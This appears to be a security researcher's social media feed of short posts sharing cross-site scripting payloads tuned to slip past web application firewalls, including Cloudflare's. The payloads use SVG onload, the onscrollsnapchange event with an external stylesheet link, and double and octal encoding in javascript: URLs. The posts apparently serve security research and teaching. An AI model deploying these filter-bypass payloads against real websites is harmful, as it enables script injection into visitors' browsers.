BRute Logic
@brutelogic.bsky.social
#CyberSecurity #AI https://brutelogic.net/research
This might trick some #XSS filters out there, including CloudFlare's. <Svg OnLoad="alert//>%0A(1)"
If you learn a #hacking technique but can't make it work, it's because you understand the example, not the technique.
Nice work in the original payload below. Although "style=" (and "<link") being easily caught by most cloud WAFs I've seen out there, I've just made it shorter and "bypass friendly". <p><dd onscrollsnapchange=alert(1)> <link href=//X55.is/k rel=stylesheet> PoC: brutelogic.com.br/xss.php?a=%3...
XSS Test Page by Brute Logic
brutelogic.com.br
Struggling with WAFs that seem to block every XSS attempt? Here’s a lesser-known trick from parrot409: the Chrome-only onscrollsnapchange event. We’ve just added it to our XSS cheat sheet for those hard-to-crack scenarios.
Some neat #XSS tricks to #Bypass #WAF in URL Context => HTMLi + Double Encoding + Embedded bytes JavaScript:"<Svg/OnLoad=alert%25%0A26lpar;1)>" => + Octal Encoding JavaScript:"\%0A74Svg/On%0ALoad=alert%25%0A26lpar;1%25%0A26rpar;>" Lab: brutelogic.com.br/dom/sinks.ht...
I’m so happy to see all my old twitter friends and no nefarious billionaires!!